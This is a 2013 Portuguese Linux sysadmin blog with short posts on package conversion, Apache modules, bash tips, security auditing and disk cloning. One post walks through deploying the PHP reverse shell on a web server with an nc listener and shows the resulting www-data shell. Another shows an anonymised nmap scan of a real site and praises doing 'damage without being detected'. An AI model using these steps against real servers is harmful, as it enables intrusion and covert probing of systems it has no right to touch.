terça-feira, 7 de maio de 2013

Convertendo pacotes entre os formatos .deb, .rpm, .tgz e .pkg

Se você está procurando um programa para a sua distribuição Linux mas nunca acha no formato apropriado (.deb para Debian, Ubuntun, Mint; .rpm para Red Hat, Centos, Fedora; .tgz para Slackware), o Alien pode resolver o problema.

Alien converte arquivos de programas empacotados de um formato para outro. Por exemplo, para converter um pacote de programa feito para Debian em um pacote para Centos é simples:

$ ls gantt*
ganttproject_2.6.1-r1499-1_all.deb
$ alien -r ganttproject_2.6.1-r1499-1_all.deb
Warning: Skipping conversion of scripts in package ganttproject: postinst postrm
Warning: Use the --scripts parameter to include the scripts.
ganttproject-2.6.1_r1499-2.noarch.rpm generated
find: `ganttproject-2.6.1-r1499': Arquivo ou diretório não encontrado
$ ls gantt*
ganttproject_2.6.1-r1499-1_all.deb  ganttproject-2.6.1_r1499-2.noarch.rpm
$

Reparem agora que temos dois arquivos, um .deb e outro .rpm. Também é possível converter para outros formatos com as opções abaixo:


  • -d para converter para Debian (.deb)
  • -r para converter para Red Hat (.rpm)
  • --to-slp para Stampede (.slp)
  • -t para Slackware (.tgz)
  • -p para Solaris (.pkg)


Não é garantido que o pacote convertido vá funcionar. Cada distro tem a sua particularidade. Mas já dá para testar e, com um pouco de análise, você poderá instalar o programa desejado.


segunda-feira, 6 de maio de 2013

Alex 4, um joguinho para Linux

Alex 4 é um joguinho que roda em qualquer distro Linux. Tem gráficos bem simples (simples até demais) ao estilo Master System (ou quem sabe Atari). Tipo Mario Bros, o jogo é sobre um jacaré que precisa salvar seu amigo que foi capturado por caçadores. Meu filho gosta desse jogo.


sexta-feira, 3 de maio de 2013

Como alterar o menu do Gnome

Quem usa Gnome pode alterar o menu clicando com o botão direito sobre ele e escolhendo "Editar Menus". Mas para que isso funcione o pacote Alacarte deve estar instalado.

# apt-get install alacarte

Você pode digitar diretamente o comando alacarte que a tela abaixo vai aparecer. Assim você pode personalizar os menus do Gnome.


quinta-feira, 25 de abril de 2013

Dificuldade para converter arquivos?

Você está com dificuldade para abrir algum arquivo que está em formato estranho? Quer ouvir uma música mas não tem o codec dela? O vídeo que você recebeu não está sendo visualidado como deveria? O arquivos texto aparece desformatado? Não se preocupe, pois o site www.online-convert.com pode te ajudar.


Nele é possível converter de/para os mais variados formatos de arquivos, como audio, video, ebook, documentos, etc. Mais uma ótima ferramenta web para nosso coleção.


quarta-feira, 24 de abril de 2013

Auditoria de segurança pós-instalação do Linux

A primeira coisa que devemos fazer após instalar o Linux em um servidor é uma auditoria de segurança. Desativar usuários desnecessários, verificar processos ativos, permissões em arquivos vitais, entre outros. Há vários roteiros a seguir, e muitas empresas criam seus próprios roteiros.

Recentente conheci uma script que server como um roteiro bem inteligente. O Tiger é um bash script que faz vários testes e gera um breve relatório com sugestões de segurança. Para instalar o Tiger, digite: 

# apt-get install tiger

Sua execução é simples. Para gera um relatório em formato html, digire:

# tiger -H

Depois é só abrir o arquivo gerado em um navegador. Dentre as configurações que o script encontrou em minha máquina, destaco:


  • WARN [pass015w]Login ID sync does not have a valid shell (/bin/sync). (O usuário sync não tem um shell válido). Verifique se todos os usuários de sistema possuem o login /bin/false, ou algo parecido, e se há usuários desnecessário.



  • WARN [acc006w]Login ID mail's home directory (/var/mail) has group `4096' write access. (O diretório home do usuário "mail" permite escrita pelo grupo "4096"). Há alguma permissão a mais em alguma pasta ou arquivo?



  • WARN [root001w]Remote root login allowed in /etc/ssh/sshd_config (É permitido ao root logar vi a ssh). Aconselha-se desabilitar o login do root. Use outro usuário e depois vire root com o comando "su".



  • Performing check of anonymous FTP... (É realmente necessário login anônimo no FTP?)
    
    
    
    # Checking aliases from /etc/aliases. (Esqueceu de criar o alias para que as mensagens de sistema enviadas ao root sejam enviadas para você?)
    
    
    
    # Checking services from /etc/services. (Há algum serviço desnecessário ativo?)
    
    
    
  • FAIL [logf005f]Log file /var/log/wtmp permission should be 644 (O arquivo de log "/var/log/wtmp" pode ser lido por todos). Há algum arquivo de log com mais permissão do que devia?
  • FAIL [misc022f]The umask setting in /etc/profile is insecure (O umask está inseguro). Ao invés de 022, use 026. Consulte "man umask" para entender.
  • # Checking sendmail... (É realmente necessário tem o Sendmail instalado?) Veja se o "nullmailer" pode ser usado no lugar do Sendmail.
    
    
  • FAIL [netw018f]Administrative user jabberd allowed access in /etc/ftpusers (Há algum usuário que não deveria ter permissão de usar o FTP? E as contas de sistema?)
  • Enfim, já deu para ter uma idéia das configurações que você pode mudar para almentar a segurança do servidor. Mas lembre-se que isso é apenas um roteiro inicial. Há muitas outras ferramentas que podem, e devem, ser usada com frequência na auditoria do sistema.
    
    
    
    

    quarta-feira, 17 de abril de 2013

    Programas do Windows e seus equivalentes no Linux

    Para quem está começando no mundo Linux e sente falta de algum programa que usava no Windows (tudo bem, eu também passei por isso; acontece com todo mundo), eis dois sites que trazem listas de programas usados em ambiente Windows e os seus equivalentes no Linux.

    http://www.linuxalt.com/

    http://wiki.ubuntu-br.org/ProgramasEquivalentes

    É evidente que isso é só uma pequena referência, pois existem muitos outros programas. Se seu programa não está em nenhuma das listas, não se desespere, pois muito provavelmente há um programa no Linux que vai atender a tua necessidade.


    quarta-feira, 3 de abril de 2013

    Habilitando e desabilitando sites e módulos do Apache


    O Apache possui ferramentas simples para habilitar e desabilitar módulos e sites. Para listar os módulos ativos, digite:

    # a2dismod
    Your choices are: actions alias auth_basic authn_file authz_default authz_groupfile authz_host authz_user autoindex cgi deflate dir env mime negotiation php5 reqtimeout setenvif status
    Which module(s) do you want to disable (wildcards ok)?

    Para mostrar todos os módulos disponíveis, digite:

    # a2enmod
    Your choices are: actions alias asis auth_basic auth_digest authn_alias authn_anon authn_dbd authn_dbm authn_default authn_file authnz_ldap authz_dbm authz_default authz_groupfile authz_host authz_owner authz_user autoindex cache cern_meta cgi cgid charset_lite dav dav_fs dav_lock dbd deflate dir disk_cache dump_io env expires ext_filter file_cache filter headers ident imagemap include info ldap log_forensic mem_cache mime mime_magic mod-dnssd negotiation php5 proxy proxy_ajp proxy_balancer proxy_connect proxy_ftp proxy_http proxy_scgi reqtimeout rewrite setenvif speling ssl status substitute suexec unique_id userdir usertrack version vhost_alias
    Which module(s) do you want to enable (wildcards ok)?

    Para habilitar o módulos ssl digite:

    # a2enmod ssl
    Enabling module ssl.
    See /usr/share/doc/apache2.2-common/README.Debian.gz on how to configure SSL and create self-signed certificates.
    Run '/etc/init.d/apache2 restart' to activate new configuration!

    Após cada mudança é necessário reiniciar o Apache.

    # /etc/init.d/apache2 restart
    Restarting web server: apache2apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
     ... waiting apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
    .

    Olha aí a porta 443 aberta

    # netstat -na | grep :443
    tcp        0      0 172.20.120.4:45783      178.216.201.51:443      ESTABELECIDA
    tcp        0      0 172.20.120.4:49113      172.20.1.82:443         ESTABELECIDA
    tcp        0      0 172.20.120.4:37642      31.172.30.3:443         ESTABELECIDA
    tcp6       0      0 :::443                  :::*                    OUÇA      

    Para desabilitar o módulos ssl, digite:

    # a2dismod ssl
    Module ssl disabled.
    Run '/etc/init.d/apache2 restart' to activate new configuration!
    # /etc/init.d/apache2 restart
    Restarting web server: apache2apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
     ... waiting apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
    .
    # netstat -na | grep :443
    tcp        0      0 172.20.120.4:45783      178.216.201.51:443      ESTABELECIDA
    tcp        0      0 172.20.120.4:49113      172.20.1.82:443         ESTABELECIDA
    tcp        0      0 172.20.120.4:37642      31.172.30.3:443         ESTABELECIDA

    Para mostrar os sites virtuais configurados no Apache, digite:

    # a2ensite
    Your choices are: default default-ssl moodle
    Which site(s) do you want to enable (wildcards ok)?

    Para habilitar o site moodle, digite:

    # a2ensite moodle
    Enabling site moodle.
    Run '/etc/init.d/apache2 reload' to activate new configuration!
    # /etc/init.d/apache2 restart
    Restarting web server: apache2apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
     ... waiting apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
    .

    Para desabilitá-lo, digite:

    # a2dissite moodle
    Site moodle disabled.
    Run '/etc/init.d/apache2 reload' to activate new configuration!
    # /etc/init.d/apache2 restart
    Restarting web server: apache2apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
     ... waiting apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
    .

    Você pode personalizar seu Apache para carregar somente os módulos que realmente são necessário, ou os sites que realmente serão usados.

    terça-feira, 2 de abril de 2013

    Samba já pode substituir um Active Directory

    Na site da revista Linux Magazine saiu um artigo sobre o Samba 4. Agora ele tem suporte a:

    • Microsoft Active Directory;
    • Autenticação Kerberos;
    • Dns dinâmico;
    • Group Policies (GPO);
    • Microsoft Exchange

    Além disso, ele já vem com scripts para migrar de um Active Directory para o Samba 4. O link da matéria está aqui.



    quinta-feira, 28 de março de 2013

    Edição de videos com 2ManDVD

    Em novembro de 2011 eu postei sobre o ManDVD e o OpenShot, que são ferramentas para edição e criação de videos e dvd. Agora vou mostrar o 2ManDVD.




    Ao abri-lo, a seguinte tela é mostrada para a escolha do tipo de projeto.


    O software é bem intuitivo. Basicamente basta arrastar os videos até a aba Médias e montar os menus.


    Árvore de menu e videos

    Novo menu pronto para ser configrado


    Renderizando o dvd

    Tem coisas que eu acho mais fácil fazer no ManDVD, outras no 2ManDVD, outras no OpenShot, e outras ainda no OpenMovieEditor. Juntando essas quatro ferramentas dá prá editar e criar videos com vários efeitos, trilha sonora, cortes, sobreposição, menus, slides, etc.

    O 2ManDVD está disponível nos repositórios de multimidia do Debian (inclua a linha "deb http://www.deb-multimedia.org/ stable main non-free" no sources.list) e pode ser instalado via apt-get.


    quarta-feira, 27 de março de 2013

    Site sobre Bash Script

    Para quem quer aprender Bash Script, ou incrementar seus programas, o site http://aurelio.net/shell/canivete é uma ótima referência. Sempre o consulto quando tenho dúvidas sobre o assunto.

    Outro site que também merece ser visitado é o http://aurelio.net/shell/dialog. No mesmo esquema do anterior, mas voltado para o Dialog, ferramenta usada para deixar os scripts bash com uma aparência mais bonita.


    terça-feira, 26 de março de 2013

    Como trabalhar com o histórico de comandos

    O terminal texto, mais precisamento o Bash, possui duas propriedades muito úteis que facilitam a nossa vida: o histórico de comandos, e o complemento de comandos.

    O complemento funciona como um encurtador de comandos e nomes de arquivos. Por exemplo, quando se quer executar o comando chkrootkit, ao se digitar chk e precionar TAB duas vezes, o Bash vai retornar todos os comandos que começam com chk. Se houver apenas um único comando que começa com a sequencia digitada, então no primeiro TAB o comando será completado. O mesmo para nomes de arquivos. Se você estiver no diretório raiz (/) e quiser entrar no /etc, basta digitar "cd e" e apetar TAB para que o comando seja preenchido com "cd etc".

    O histórico lista os últimos comandos digitados. Usando as teclas "seta acima" e "seta abaixo" você pode navegar pelos últimos comandos digitados. Você também pode digitar "history" para ver a lista completa do histórico.

    $ history
    599 ping -c 1 8.8.8.8 | grep icmp | cut -d" " -f7 | cut -d"=" -f2 | sed 's/\./\,/g'
    600 ssh -v 200.144.25.50
    601 clear
    602 ping -c 1 172.20.1.17
    603 clear
    604 env | grep HIST
    605 env
    606 vi .bashrc
    607 vi .bash_history
    608 wc -l .bash_history
    609 ls -lh .bash_history
    610 vi .bashrc
    611 ssh ricardoolonca@172.20.1.146
    612 ls -lh .bash
    613 ls -lh .bash_history
    614 wc -l .bash_history
    615 vi .bashrc
    616 cd /
    617 history

    Para executar o comando número 599, basta digitar:

    $ !599
    ping -c 1 8.8.8.8 | grep icmp | cut -d" " -f7 | cut -d"=" -f2 | sed 's/\./\,/g'
    4,60

    O histórico fica armazenado em .bash_history, no diretório raiz dos usuários. Por padrão, o histórico mantém os últimos 1000 comandos (em algumas distros é 500), e o tamanho do arquivo não pode passar de 2Mb. Para alterar essas opções, abra o arquivo .bashrc e altere os valores de HISTSIZE e HISTFILESIZE. Para limitar em 10.000 comandos e 10Mb, altere conforme abaixo.

    HISTSIZE=10000
    HISTFILESIZE=10000

    Além disso, há alguns atalhos interessantes. Por exemplo, para repetir o último comandos digite:

    $ "!!"

    Para repetir o último comando que começa com "ssh" use:

    $ "!ssh"

    Para executar o último comandos mas substituindo o texto 146 por 147, digite:

    $ ^146^147

    quinta-feira, 21 de março de 2013

    Criando alias e funções no Linux

    Quem administra vários servidores Linux como eu já deve estar acostumado com a linha de comando. O que os outros chamam de "aquela horrível tela preta", nós chamamos de "poderoso console texto". Mas é bem verdade que, às vezes, os dedos cansam de tanto digitar longos comandos. Para amenizar isso é que existem os alias e as funções.

    Um alias é uma pequena modificação nas opções padrão de um comando. Por exemplo, para listar arquivos eu sempre uso "ls -la", para que a listagem seja mais detalhada e os arquivos ocultos também sejam mostrados. Então eu posso criar um alias chamado "ls" para o comando "ls -la".


    $ ls
    CHANGELOG.txt  config.php  css images index.html  js languages  lib LICENSE.txt  panes  rdp.php  rdpweb  README.txt  screen.php
    $ alias ls="ls -la"

    $ ls

    total 72
    drwxr-xr-x 9 ricardo ricardo 4096 Mar 21 08:57 .
    drwxr-xr-x 6 ricardo ricardo 4096 Mar 21 10:37 ..
    -rw-r--r-- 1 ricardo ricardo 3835 Ago 10  2010 CHANGELOG.txt
    -rw-r--r-- 1 ricardo ricardo 2797 Jul 26  2010 config.php
    drwxr-xr-x 2 ricardo ricardo 4096 Ago 10  2010 css
    drwxr-xr-x 5 ricardo ricardo 4096 Ago 10  2010 images
    -rw-r--r-- 1 ricardo ricardo 5697 Jul 24  2010 index.html
    drwxr-xr-x 2 ricardo ricardo 4096 Ago 10  2010 js
    drwxr-xr-x 2 ricardo ricardo 4096 Ago 10  2010 languages
    drwxr-xr-x 2 ricardo ricardo 4096 Ago 10  2010 lib
    -rw-r--r-- 1 ricardo ricardo 1089 Jul 24  2010 LICENSE.txt
    drwxr-xr-x 2 ricardo ricardo 4096 Ago 10  2010 panes
    -rw-r--r-- 1 ricardo ricardo  414 Jul 24  2010 rdp.php
    drwxr-xr-x 2 ricardo ricardo 4096 Ago 10  2010 rdpweb
    -rw-r--r-- 1 ricardo ricardo  955 Jul 24  2010 README.txt
    -rw-r--r-- 1 ricardo ricardo 4963 Jul 24  2010 screen.php
    $

    Eu também uso um alias para o Remote Desktop sempre abrir com resolução de 1200x800.

    $ alias rdesktop='rdesktop -g1200x800'

    Para ver os alias já configurados em teu perfil digite:

    $ alias
    alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
    alias egrep='egrep --color=auto'
    alias fgrep='fgrep --color=auto'
    alias gravar='ffmpeg -f x11grab -s 1440x900 -r 25 -i :0.0 -sameq out.mpg 2> /dev/null'
    alias grep='grep --color=auto'
    alias konqueror='konqueror --select ~'
    alias l='ls -CF'
    alias la='ls -A'
    alias ll='ls -alF'
    alias ls='ls'
    alias rdesktop='rdesktop -g1200x800'

    Para apagar o alias "rdesktop" é só digitar:

    $ unalias rdesktop

    Agora, se você precisa de algo mais elaborado, então uma função será mais útil. Por exemplo, vamos criar uma função que emita um aviso caso o Google demore mais do que 4 milisegundos para responder ao ping.

    $ function aviso(){
        x=`ping -c 1 8.8.8.8 | grep icmp | cut -d" " -f7 | cut -d"=" -f2 | cut -d"." -f1`
        if [ $x -gt 4 ]
        then
            echo "Está lento"
        fi
    }

    Agora, basta digitar, de qualquer lugar do sistema, o comando "aviso" para testar o site.

    Mas esses alias e funções se perdem quando o terminal é fechado. Para que isso não ocorra, basta colocar esses comando no arquivo .bashrc localizado no home do usuário.


    quarta-feira, 20 de março de 2013

    Além da navegação anônima com Proxychain e Tor

    Há pouco mais de um ano eu escrevi sobre o Tor e sigilo na Internet. O artigo pode ser lido em http://ricardoolonca.blogspot.com.br/2011/11/tor-sigilo-na-internet.html. Nele eu mostro como navegar na web de forma anônima. Agora, vou mostrar como usar outros serviços, além do navegador, de forma anônima.

    Primeiramente instale o Tor. É ele quem cuida da navegação anônima.

    # apt-get install tor

    Em seguida, instale o proxychains. Ele funciona como um proxy, passando as requisições da aplicação para o tor.

    # apt-get install proxychains

    Simples assim! Agora, por exemplo, para fazer um scan em um servidor de forma anônima, use o seguinte comando.

    $ proxychains nmap www.cmais.com.br
    ProxyChains-3.1 (http://proxychains.sf.net)

    Starting Nmap 5.00 ( http://nmap.org ) at 2013-03-20 15:31 BRT
    |DNS-request| www.cmais.com.br
    |S-chain|-<>-127.0.0.1:9050-<><>-4.2.2.2:53-<><>-OK
    |DNS-response| www.cmais.com.br is 200.136.27.13
    |S-chain|-<>-127.0.0.1:9050-<><>-200.136.27.13:80-<><>-OK
    |S-chain|-<>-127.0.0.1:9050-<><>-200.136.27.13:80-<><>-OK
    |S-chain|-<>-127.0.0.1:9050-<><>-200.136.27.13:443-<--denied p="">Interesting ports on fpasrv021.tvcultura.com.br (200.136.27.13):
    PORT    STATE  SERVICE
    80/tcp  open   http
    443/tcp closed https

    Nmap done: 1 IP address (1 host up) scanned in 3.19 seconds
    $

    Nem todos os programa vão funcionar, mas já dá para fazer um estrago sem ser detectado.

    terça-feira, 19 de março de 2013

    Como configurar um quiosque

    Um quiosque é um equipamento com acesso público que fornece algum serviço, geralmente navegação. Neste artigo vamos configurar um quiosque contendo apenas um navegador.

    O primeiro passo é instalar sua distribuição Linux preferência. Eu sugiro o Debian, e com menos pacotes possíveis. Instale o ambiente gráfico de sua escolha. Crie um usuário (usaei quiosque) e personalize o Firefox.  Não esqueça de deixá-lo em tela cheia.

    Após as personalizações, vamos aos procedimentos para fazer com que o Firefox abra no boot.

    Primeiro, instalale o aplicativo mingetty.

    $ apt-get install mingetty

    Após, abra o arquivo /etc/inittab a altere a linha...

    1:2345:respawn:/sbin/getty 38400 tty1

    por...

    1:2345:respawn:/sbin/mingetty --autologin quiosque tty1

    Isso fará com que o o usuário quiosque esteja logado automaticamente no boot. Após, abra o arquivo .bashrc do usuário quiosque e inclua a seguinte linha no final do arquivo.

    xinit /usr/bin/firefox

    Reinicie a máquina e você verá o quiosque funcionando.



    sexta-feira, 8 de março de 2013

    Shell reverso em Php

    Shel reverso é uma técnica de invasão que permite acessar um shell remoto. No endereço http://pentestmonkey.net/tools/web-shells/php-reverse-shell há uma ferramenta escrita em Php que permite aplicar essa técnica em um servidor web.

    Se você possui permissão para gravar arquivos no servidor web, você pode fazer o download do script no site acima e testar a invasão.

    Antes de enviar o script php para o site, altere as seguintes linhas:

    $ip = '172.20.120.4';  // CHANGE THIS
    $port = 1234;       // CHANGE THIS

    $ip é o endereço da tua estação de trabalho. Quando você acessara  página pelo seu navegador, o script vai abrir uma conexão com esse ip. 

    $port é a porta que o script vai se conectar na tua estação.

    Faça o upload do arquivo. Após abra um terminal texto e execute:

    $ nc -l 1234

    Agora, acesse o script instalado no site. Por exemplo, http://servidor/php-reverse-shell.php

    Em teu terminal irá aparecer shell reverso.

    Linux fpawks0703 3.2.0-3-amd64 #1 SMP Mon Jul 23 04:46:29 UTC 2012 x86_64 GNU/Linux
     10:57:47 up 1 day,  2:14,  3 users,  load average: 1.04, 1.21, 1.28
    USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
    ricardo  tty7     :0               Thu08   26:14m  3:55m  0.26s gnome-session
    ricardo  pts/0    :0.0             Thu08   28:42   0.27s  0.11s ssh ricardoolon
    ricardo  pts/1    :0.0             08:13   59.00s  0.15s  0.00s nc -l 1234
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    /bin/sh: can't access tty; job control turned off
    $id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    $

    Repare que agora você está conectado ao servidor pelo usuário www-data em um shell, onde você pode executar os comandos como qualquer outro usuário.

    Há um video demostrando o php-reverse-shell em http://www.youtube.com/watch?v=A0Ks4MfhVIE






    quinta-feira, 7 de março de 2013

    Criando atalhos no Linux

    Quem usa Windows está acostumado a criar atalhos para aplicações e arquivos. No Linux esse recurso também existe, mas com algumas opções a mais. Uma forma simples de criar atalhos é usando o comando "ls". Por exemplo, vamos criar um atalho para a pasta /home/ricardo/tmp/cmais em /tmp/cmais.

    $ ln -s /home/ricardo/tmp/cmais /tmp/cmais
    $ ls -l /tmp/
    total 4
    lrwxrwxrwx 1 ricardo    ricardo      23 Mar  7 13:43 cmais -> /home/ricardo/tmp/cmais
    srw-rw-rw- 1 root       root          0 Mar  7 08:43 cmg-statistic
    drwxr-xr-x 2 ricardo    ricardo    4096 Mar  7 13:32 hsperfdata_ricardo
    drwxr-xr-x 2 tomcat6    tomcat6    4096 Mar  7 08:44 hsperfdata_tomcat6
    $

    Podemos perceber pelo comando ls que a pasta cmais aponda ( ->) para /home/ricardo/tmp/cmais. Esse tipo de atalho funciona igual no Windows.

    A segunda forma é usando o ls sem parâmetros.

    # ln /home/ricardo/tmp/cmais/Cmais_20130115.html /home/cmais 
    # ls -l /home/cmais 
    -rw-r--r-- 2 ricardo ricardo 3882 Mar  1 17:02 /home/cmais 
    #

    A diferença é que esse tipo de link, chamado de hard link, só pode ser feito dentro da mesma partição. Dependendo do sistema de arquivos você pode inclusive dar permissões diferentes para os arquivos.

    Uma terceira forma é usando o mount. O comando "mount" permite que uma parte do sistema de arquivos (uma pasta, por exemplo) seja montada em outro lugar do disco.

    Por exemplo, vamos montar a pasta /home/ricardo/tmp/cmais na pasta /tmp/cmais.


    # mount --bind /home/ricardo/tmp/cmais /tmp/cmais/
    # ls -l /tmp/cmais/
    total 236
    -rw-r--r-- 1 ricardo ricardo   3130 Mar  1 17:02 Cmais_20130115-chart.html
    -rw-r--r-- 1 ricardo ricardo   3882 Mar  1 17:02 Cmais_20130115.html
    -rw-r--r-- 1 ricardo ricardo 134792 Mar  1 17:02 Cmais_20130115.png
    -rw-r--r-- 1 ricardo ricardo   4047 Mar  1 17:02 Cmais_20130115-resources.html
    -rw-r--r-- 1 ricardo ricardo  21258 Mar  1 17:02 Cmais_20130115.res.png
    -rw-r--r-- 1 ricardo ricardo  67763 Mar  1 17:02 Cmais_20130115-tasks.html
    lrwxrwxrwx 1 ricardo ricardo     25 Fev 15 17:01 index.html -> Cmais_20130115-chart.html
    #

    O que alterarmos na pasta original será automaticamente refletido na pasta montada.

    Lembre-se que isso é apenas para facilitar as coisas, quando, por exemplo, o caminho de uma pasta fica muito grande (quem trabalha com java sabe do que estou falando). Isso não vale como um backup!


    quarta-feira, 6 de março de 2013

    Conceito de portas TCP/UDP

    Há cerca de um ano escrevi um artigo para o Vol explicando o que são portas Tcp/Udp. Nele eu ainda mostro como encontrar as portas abertas em sua máquina, quais aplicações estão sendo usando essas portas, e quais portas estão abertas em um micro remoto usando Nmap.

    O endereço do artigo é http://www.vivaolinux.com.br/artigo/Entendendo-TCP-IP-(Parte-5)-Portas-TCP-UDP/


    terça-feira, 5 de março de 2013

    Pidgin, um ótimo cliente de Msn, Gtalk, e outros mensageiros instantâneos.

    No mundo Linux há várias formas de fazer a mesma coisa, assim como vários programas que fazem a mesma tarefa. Cada um escolhe o que mais gostar.

    Para cliente de mensagem instantânea, como Mns, Gtalk e Jabber, eu uso o Pidgin.



    O Pidgin tem suporte a uma variadade de serviços, como Msn, Gtalk, Jabber, Yahoo, Icq, Irc, Twitter, Skype, e uma infinidade de outros. Eu posso me logar em várias contas ao mesmo tempo e mistrurar os contatos entre os serviços de forma que eu não preciso saber qual o serviço que meu contato está usando.


    Eu posso também criar ações para quando o meu contato se conectar, por exemplo, enviando-lhe um arquivo, ou mensagem, emitir um som, abrir uma janela, etc.


    O Pidgin está disponível na maioria das distribuições e, no Debian, basta digitar, como root:

    $ apt-get install pidgin





    sexta-feira, 1 de março de 2013

    Parcellite controla bem a área de transferência

    Quem nunca usou CTRL+C CTRL+V?

    Para quem não sabe do que estou falando (em que mundo você vive?) ao selecionar um texto e apertar CTRL e a letra "C", o texto selecionado é copiado para uma área da memória conhecida como "Area de transferência". Ao precionar CTRL+V, o texto (ou outro objeto) vai ser "colado" onde o cursor estiver.

    Acontece que essa operação só permite "copiar e colar" um objeto por vêz (texto, figura, arquivo, etc).

    O Parcellite pode gerenciar vários objetos na área de transferência. Seu funcionamento é simples: ao executá-lo, um ícone é criado na bandeja do desktop.


    Ao clicar no ícone em questão, uma lista dos últimos objetos é mostrada. Basta clicar no objeto em questão e apertar CTRL+V para colá-lo onde você precisa.


    Você pode configurar o número de ítens guardados clicando no ícone do Parcellite com o botão direito e escolhendo "Preferências".


    quarta-feira, 27 de fevereiro de 2013

    Clonando máquinas com CloneZilla

    Há algum tempo eu escrevi sobre o RedoLive, uma distro usada para clonar máquinas. Ele é bem simples e fácil de usar. Agora vou falar do CloneZilla.

    O Clonezilla não é tão amigável quanto o RedoLive, mas contém muito mais recursos. Para baixá-lo, acesse http://clonezilla.org/clonezilla-live.php

    Grave uma mídia e dê boot na máquina que você deseja clonar. A imagem abaixo vai aparecer.




    Escolha a primeira opção e tecle ENTER.


    Ajuste a linguagem.


    Escolha a configuração do teclado. Na maioria das vezes, deixe como está.


    Escolha a primeira opção, para entrarmos no sistema de clonagem.


    O CloneZilla pode trabalhar diretamente com discos, ou com imagens, como .iso. No nosso caso, vamos usar imagens. Escolha "device-image".


    Nesta tela nós devemos esolher onde as imagens estão/serão gravadas. No nosso caso, a imagem será gravada em um servidor ssh.


    Como a rede será configurada. No nosso exemplo, a rede possui dhcp. Se não, escolha a opção apropriada.


    Aqui devemos colocar o nome ou endereço ip do servidor onde a imagem ficará gravada.


    A porta do ssh. No nosso caso, deixe 22.


    Digite o nome do usuário usado para se conectar ao servidor.


    Digite o caminho completo da pasta, no servidor, onde o arquivo de imagem ficará gravado.


    Tecle "OK".


    Digite "yes" para aceitar a chave do ssh.



    Digite a senha.


    Aqui é mostrado o sistema de arquivos do live cd. Não sei prá que. Pressione ENTER.


    Escolhendo "Expert" você poderá definir o tipo de compactação, o uso de cpu e banda de rede, entre outras opções. No nosso caso, escolhemos "Beginner".


    Podemos salvar uma imagem do disco inteiro, ou só da partição. Escolhemos o disco inteiro.


    Digite o nome que o arquivos de imagem receberá.


    Escolha o disco que será copiado. No nosso caso só temos um.


    Escolha se você quer não não checar o sistema de arquivos antes da cópia.


    Escolha se você quer ou não checar a imagem depois do processo. Aconselho a sempres checar.


    Pressione ENTER.


    Confirme com "y".


    A imagem está sendo gerada.


    Depois de muito tempo (dependendo do tamanho do disco e dos softwares instalados) o processo está terminado. Pressione ENTER.


    Digite "0" para desligar o equipamento.


    Pronto! A imagem está salva. Pressione ENTER e o computador será desligado. Para usar essa imagem em um outro computador, siga os mesmos passos, colocando o cd do CloneZilla e dando o boot pelo cd. Na tela de "Escolher modo", escolha "Restoredisk".


    Irá aparecer a lista de imagens gravadas. No nosso caso, só existe uma.



     Escolhida a imagem, siga o processo normalmente.



    Aqui, a imagem está sendo gravada no disco.


    Processo terminado. Pressione ENTER.


    Pressione 0 para desligar o equipamento.

    Pronto! O clone foi feito. Dê um boot no equipamento (sem o cd, claro) e veja está ok. O pessoal do Help Desk aqui da empresa usa essa ferramenta com frequência.